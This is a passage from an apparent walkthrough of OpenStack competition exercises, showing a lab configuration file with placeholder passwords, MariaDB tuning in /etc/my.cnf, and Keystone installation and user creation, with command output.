class="lnt">134 </span><span class="lnt">135 </span><span class="lnt">136 </span><span class="lnt">137 </span><span class="lnt">138 </span><span class="lnt">139 </span><span class="lnt">140 </span><span class="lnt">141 </span><span class="lnt">142 </span><span class="lnt">143 </span><span class="lnt">144 </span><span class="lnt">145 </span><span class="lnt">146 </span><span class="lnt">147 </span><span class="lnt">148 </span><span class="lnt">149 </span><span class="lnt">150 </span><span class="lnt">151 </span><span class="lnt">152 </span><span class="lnt">153 </span><span class="lnt">154 </span><span class="lnt">155 </span><span class="lnt">156 </span><span class="lnt">157 </span><span class="lnt">158 </span><span class="lnt">159 </span><span class="lnt">160 </span><span class="lnt">161 </span><span class="lnt">162 </span><span class="lnt">163 </span><span class="lnt">164 </span><span class="lnt">165 </span><span class="lnt">166 </span><span class="lnt">167 </span><span class="lnt">168 </span><span class="lnt">169 </span><span class="lnt">170 </span><span class="lnt">171 </span><span class="lnt">172 </span><span class="lnt">173 </span><span class="lnt">174 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">#--------------------system Config--------------------## </span></span><span class="line"><span class="cl">#Controller Server Manager IP. example:x.x.x.21x </span></span><span class="line"><span class="cl">HOST_IP=192.168.56.2 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Controller HOST Password. example:000000 </span></span><span class="line"><span class="cl">HOST_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Controller Server hostname. example:controller </span></span><span class="line"><span class="cl">HOST_NAME=controller </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Compute Node Manager IP. example:x.x.x.x </span></span><span class="line"><span class="cl">HOST_IP_NODE=192.168.56.3 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Compute HOST Password. example:000000 </span></span><span class="line"><span class="cl">HOST_PASS_NODE=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Compute Node hostname. example:compute </span></span><span class="line"><span class="cl">HOST_NAME_NODE=compute </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Chrony Config-------------------## </span></span><span class="line"><span class="cl">#Controller network segment IP. example:x.x.0.0/16(x.x.x.0/24) </span></span><span class="line"><span class="cl">network_segment_IP=192.168.56.0/24 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Rabbit Config ------------------## </span></span><span class="line"><span class="cl">#user for rabbit. example:openstack </span></span><span class="line"><span class="cl">RABBIT_USER=openstack </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for rabbit user .example:000000 </span></span><span class="line"><span class="cl">RABBIT_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------MySQL Config---------------------## </span></span><span class="line"><span class="cl">#Password for MySQL root user . exmaple:000000 </span></span><span class="line"><span class="cl">DB_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Keystone Config------------------## </span></span><span class="line"><span class="cl">#Password for Keystore admin user. exmaple:000000 </span></span><span class="line"><span class="cl">DOMAIN_NAME=demo </span></span><span class="line"><span class="cl">ADMIN_PASS=000000 </span></span><span class="line"><span class="cl">DEMO_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Mysql keystore user. exmaple:000000 </span></span><span class="line"><span class="cl">KEYSTONE_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Glance Config--------------------## </span></span><span class="line"><span class="cl">#Password for Mysql glance user. exmaple:000000 </span></span><span class="line"><span class="cl">GLANCE_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore glance user. exmaple:000000 </span></span><span class="line"><span class="cl">GLANCE_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Placement Config----------------------## </span></span><span class="line"><span class="cl">#Password for Mysql placement user. exmaple:000000 </span></span><span class="line"><span class="cl">PLACEMENT_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore placement user. exmaple:000000 </span></span><span class="line"><span class="cl">PLACEMENT_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Nova Config----------------------## </span></span><span class="line"><span class="cl">#Password for Mysql nova user. exmaple:000000 </span></span><span class="line"><span class="cl">NOVA_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore nova user. exmaple:000000 </span></span><span class="line"><span class="cl">NOVA_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Neutron Config-------------------## </span></span><span class="line"><span class="cl">#Password for Mysql neutron user. exmaple:000000 </span></span><span class="line"><span class="cl">NEUTRON_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore neutron user. exmaple:000000 </span></span><span class="line"><span class="cl">NEUTRON_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#metadata secret for neutron. exmaple:000000 </span></span><span class="line"><span class="cl">METADATA_SECRET=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#External Network Interface. example:eth1 </span></span><span class="line"><span class="cl">INTERFACE_NAME=enp0s3 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#External Network The Physical Adapter. example:provider </span></span><span class="line"><span class="cl">Physical_NAME=provider1 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#First Vlan ID in VLAN RANGE for VLAN Network. exmaple:101 </span></span><span class="line"><span class="cl">minvlan=101 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Last Vlan ID in VLAN RANGE for VLAN Network. example:200 </span></span><span class="line"><span class="cl">maxvlan=200 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Cinder Config--------------------## </span></span><span class="line"><span class="cl">#Password for Mysql cinder user. exmaple:000000 </span></span><span class="line"><span class="cl">CINDER_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore cinder user. exmaple:000000 </span></span><span class="line"><span class="cl">CINDER_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Cinder Block Disk. example:md126p3 </span></span><span class="line"><span class="cl">BLOCK_DISK=sdb1 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Swift Config---------------------## </span></span><span class="line"><span class="cl">#Password for Keystore swift user. exmaple:000000 </span></span><span class="line"><span class="cl">SWIFT_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#The NODE Object Disk for Swift. example:md126p4. </span></span><span class="line"><span class="cl">OBJECT_DISK=sdb2 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#The NODE IP for Swift Storage Network. example:x.x.x.x. </span></span><span class="line"><span class="cl">STORAGE_LOCAL_NET_IP=172.129.1.2 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Trove Config----------------------## </span></span><span class="line"><span class="cl">#Password for Mysql trove user. exmaple:000000 </span></span><span class="line"><span class="cl">TROVE_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore trove user. exmaple:000000 </span></span><span class="line"><span class="cl">TROVE_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Heat Config----------------------## </span></span><span class="line"><span class="cl">#Password for Mysql heat user. exmaple:000000 </span></span><span class="line"><span class="cl">HEAT_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore heat user. exmaple:000000 </span></span><span class="line"><span class="cl">HEAT_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Ceilometer Config----------------## </span></span><span class="line"><span class="cl">#Password for Gnocchi ceilometer user. exmaple:000000 </span></span><span class="line"><span class="cl">CEILOMETER_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore ceilometer user. exmaple:000000 </span></span><span class="line"><span class="cl">CEILOMETER_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------AODH Config----------------## </span></span><span class="line"><span class="cl">#Password for Mysql AODH user. exmaple:000000 </span></span><span class="line"><span class="cl">AODH_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore AODH user. exmaple:000000 </span></span><span class="line"><span class="cl">AODH_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------ZUN Config----------------## </span></span><span class="line"><span class="cl">#Password for Mysql ZUN user. exmaple:000000 </span></span><span class="line"><span class="cl">ZUN_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore ZUN user. exmaple:000000 </span></span><span class="line"><span class="cl">ZUN_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore KURYR user. exmaple:000000 </span></span><span class="line"><span class="cl">KURYR_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------OCTAVIA Config----------------## </span></span><span class="line"><span class="cl">#Password for Mysql OCTAVIA user. exmaple:000000 </span></span><span class="line"><span class="cl">OCTAVIA_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore OCTAVIA user. exmaple:000000 </span></span><span class="line"><span class="cl">OCTAVIA_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Manila Config----------------## </span></span><span class="line"><span class="cl">#Password for Mysql Manila user. exmaple:000000 </span></span><span class="line"><span class="cl">MANILA_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore Manila user. exmaple:000000 </span></span><span class="line"><span class="cl">MANILA_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#The NODE Object Disk for Manila. example:md126p5. </span></span><span class="line"><span class="cl">SHARE_DISK=sdc1 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Cloudkitty Config----------------## </span></span><span class="line"><span class="cl">#Password for Mysql Cloudkitty user. exmaple:000000 </span></span><span class="line"><span class="cl">CLOUDKITTY_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore Cloudkitty user. exmaple:000000 </span></span><span class="line"><span class="cl">CLOUDKITTY_PASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#--------------------Barbican Config----------------## </span></span><span class="line"><span class="cl">#Password for Mysql Barbican user. exmaple:000000 </span></span><span class="line"><span class="cl">BARBICAN_DBPASS=000000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">#Password for Keystore Barbican user. exmaple:000000 </span></span><span class="line"><span class="cl">BARBICAN_PASS=000000 </span></span></code></pre></td></tr></table> </div> </div><p>And then execute the <code>scp</code> command to copy it to the <strong>compute node</strong>, this Quiz gonna be solved!</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# scp /etc/openstack/openrc.sh root@compute:/etc/openstack/openrc.sh </span></span></code></pre></td></tr></table> </div> </div><blockquote> <h4 id="question-5-database-installation-and-tuning-10-point"><strong>[Question 5] Database Installation and Tuning [1.0 point]</strong></h4> <p>Use the <code>iaas-install-mysql.sh</code> script on the controller node to install services such as Mariadb, Memcached, and RabbitMQ. After installing the services, modify the <code>/etc/my.cnf</code> file to meet the following requirements:</p> <ol> <li>Set the database to support case sensitivity;</li> <li>Set the cache for innodb table indexes, data, and insert data buffer to 4GB;</li> <li>Set the database&rsquo;s log buffer to 64MB;</li> <li>Set the size of the database&rsquo;s redo log to 256MB;</li> <li>Set the number of redo log file groups for the database to 2. After completing the configuration, submit the username, password, and IP address of the controller node in the answer box.</li> </ol> </blockquote> <p>Before we execute the <code>iaas-install-mysql.sh</code> to install services, we need to run the <code>iaas-pre-host.sh</code> script on each nodes, in order to install some packages the services need.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller ~]# cd /usr/local/bin/ </span></span><span class="line"><span class="cl">[root@controller bin]# ./iaas-pre-host.sh </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@compute ~]# cd /usr/local/bin/ </span></span><span class="line"><span class="cl">[root@compute bin]# ./iaas-pre-host.sh </span></span></code></pre></td></tr></table> </div> </div><p>After the script finished, we need to reconnect the <code>ssh</code> shell or reboot the system of each nodes.</p> <p>Then we can do the first step, run <code>iaas-install-mysql.sh</code> in <strong>controller node</strong>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-mysql.sh </span></span></code></pre></td></tr></table> </div> </div><p>And we edit the file <code>/etc/my.cnf</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# vim /etc/my.cnf </span></span></code></pre></td></tr></table> </div> </div><p>Add these properties into it:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">lower_case_table_names = 1 </span></span><span class="line"><span class="cl">innodb_buffer_pool_size = 4G </span></span><span class="line"><span class="cl">innodb_log_buffer_size = 64M </span></span><span class="line"><span class="cl">innodb_log_file_size = 256M </span></span><span class="line"><span class="cl">innodb_log_files_in_group = 2 </span></span></code></pre></td></tr></table> </div> </div><p>Make sure your file look like this:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"># </span></span><span class="line"><span class="cl"># This group is read both both by the client and the server </span></span><span class="line"><span class="cl"># use it for options that affect everything </span></span><span class="line"><span class="cl"># </span></span><span class="line"><span class="cl">[client-server] </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"># </span></span><span class="line"><span class="cl"># This group is read by the server </span></span><span class="line"><span class="cl"># </span></span><span class="line"><span class="cl">[mysqld] </span></span><span class="line"><span class="cl"># Disabling symbolic-links is recommended to prevent assorted security risks </span></span><span class="line"><span class="cl">lower_case_table_names = 1 </span></span><span class="line"><span class="cl">innodb_buffer_pool_size = 4G </span></span><span class="line"><span class="cl">innodb_log_buffer_size = 64M </span></span><span class="line"><span class="cl">innodb_log_file_size = 256M </span></span><span class="line"><span class="cl">innodb_log_files_in_group = 2 </span></span><span class="line"><span class="cl">symbolic-links=0 </span></span><span class="line"><span class="cl">default-storage-engine = innodb </span></span><span class="line"><span class="cl">innodb_file_per_table </span></span><span class="line"><span class="cl">collation-server = utf8_general_ci </span></span><span class="line"><span class="cl">init-connect = &#39;SET NAMES utf8&#39; </span></span><span class="line"><span class="cl">character-set-server = utf8 </span></span><span class="line"><span class="cl">max_connections=10000 </span></span><span class="line"><span class="cl">default-storage-engine = innodb </span></span><span class="line"><span class="cl">innodb_file_per_table </span></span><span class="line"><span class="cl">collation-server = utf8_general_ci </span></span><span class="line"><span class="cl">init-connect = &#39;SET NAMES utf8&#39; </span></span><span class="line"><span class="cl">character-set-server = utf8 </span></span><span class="line"><span class="cl">max_connections=10000 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"># </span></span><span class="line"><span class="cl"># include all files from the config directory </span></span><span class="line"><span class="cl"># </span></span><span class="line"><span class="cl">!includedir /etc/my.cnf.d </span></span></code></pre></td></tr></table> </div> </div><p>Finally we Save it.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vim" data-lang="vim"><span class="line"><span class="cl"><span class="p">:</span><span class="nx">wq</span> </span></span></code></pre></td></tr></table> </div> </div><p>The quiz was sovled!</p> <blockquote> <h4 id="question-6-keystone-service-installation-and-usage-05-points"><strong>[Question 6] Keystone Service Installation and Usage [0.5 points]</strong></h4> <p>Use the <code>iaas-install-keystone.sh</code> script on the controller node to install the Keystone service. After installation, use the relevant commands to create a user named chinaskill with the password <code>000000</code>. Upon completion, submit the username, password, and IP address of the controller node in the answer box.</p> </blockquote> <p>To install the Keystone service, we need to run the <code>iaas-install-keystone.sh</code> script:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# ./iaas-install-keystone.sh </span></span></code></pre></td></tr></table> </div> </div><p>If the installation is successful, the information backed should be like:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span><span class="lnt">84 </span><span class="lnt">85 </span><span class="lnt">86 </span><span class="lnt">87 </span><span class="lnt">88 </span><span class="lnt">89 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">...... </span></span><span class="line"><span class="cl">Complete! </span></span><span class="line"><span class="cl">Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service. </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| description | Default Domain | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| name | demo | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| tags | [] | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| description | Admin project | </span></span><span class="line"><span class="cl">| domain_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | b0787807ee924b179cc02799bc595d38 | </span></span><span class="line"><span class="cl">| is_domain | False | </span></span><span class="line"><span class="cl">| name | myadmin | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| parent_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| tags | [] | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">| domain_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | 7b4df65fc3ac4d4e8a764c74f0178153 | </span></span><span class="line"><span class="cl">| name | myadmin | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| password_expires_at | None | </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| description | Service Project | </span></span><span class="line"><span class="cl">| domain_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | 4eca281ad75c45669f8b178f0d26944d | </span></span><span class="line"><span class="cl">| is_domain | False | </span></span><span class="line"><span class="cl">| name | service | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| parent_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| tags | [] | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| description | Demo Project | </span></span><span class="line"><span class="cl">| domain_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | 1256dce1e4c843b99cf50e0739308313 | </span></span><span class="line"><span class="cl">| is_domain | False | </span></span><span class="line"><span class="cl">| name | demo | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| parent_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| tags | [] | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">| domain_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | c9f1413519a84c8ba0f9efd4d3f8d728 | </span></span><span class="line"><span class="cl">| name | demo | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| password_expires_at | None | </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">| description | None | </span></span><span class="line"><span class="cl">| domain_id | None | </span></span><span class="line"><span class="cl">| id | 7ad524a1308d4089a01347dbf09d2044 | </span></span><span class="line"><span class="cl">| name | user | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">+-------------+----------------------------------+ </span></span><span class="line"><span class="cl">+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </span></span><span class="line"><span class="cl">| expires | 2023-05-05T14:51:32+0000 | </span></span><span class="line"><span class="cl">| id | gAAAAABkVQnk9i7FQoKaw9VKNqZuEbVOmoaE-bCPPYlEy-kBqZyxOmk9o3PKLt6IxyCnfU9jO_dvd7yMpGl9LuhaXqiFHycPiIUSCoP-har-EhxmH1IUWK303DcD6jGi4GvBufnTtx7tYIIJgrA-NdMCRJu2lkSnKxCwmvI8pjz7drBwnxDl9Ps | </span></span><span class="line"><span class="cl">| project_id | b0787807ee924b179cc02799bc595d38 | </span></span><span class="line"><span class="cl">| user_id | 7b4df65fc3ac4d4e8a764c74f0178153 | </span></span><span class="line"><span class="cl">+------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>After the installation, we need to create a user named &lsquo;chinaskill&rsquo; according to the question.</p> <p>So, first we use the <code>source</code> command to read the variables of <code>Keystone</code>:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# source /etc/keystone/admin-openrc.sh </span></span></code></pre></td></tr></table> </div> </div><p>Then create the user by using <code>openstack</code> command</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[root@controller bin]# openstack user create --domain demo --password-prompt chinaskill </span></span></code></pre></td></tr></table> </div> </div><p>Then type the password <code>000000</code>, you will get these information:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">User Password: </span></span><span class="line"><span class="cl">Repeat User Password: </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">| Field | Value | </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span><span class="line"><span class="cl">| domain_id | ff38535aa995441d8641b24d86881583 | </span></span><span class="line"><span class="cl">| enabled | True | </span></span><span class="line"><span class="cl">| id | 206814a5dfba4a9194701d124a815ca3 | </span></span><span class="line"><span class="cl">| name | chinaskill | </span></span><span class="line"><span class="cl">| options | {} | </span></span><span class="line"><span class="cl">| password_expires_at | None | </span></span><span class="line"><span class="cl">+---------------------+----------------------------------+ </span></span></code></pre></td></tr></table> </div> </div><p>It means that you create the user successfully! And this quiz was also solved!</p> <blockquote> <h4 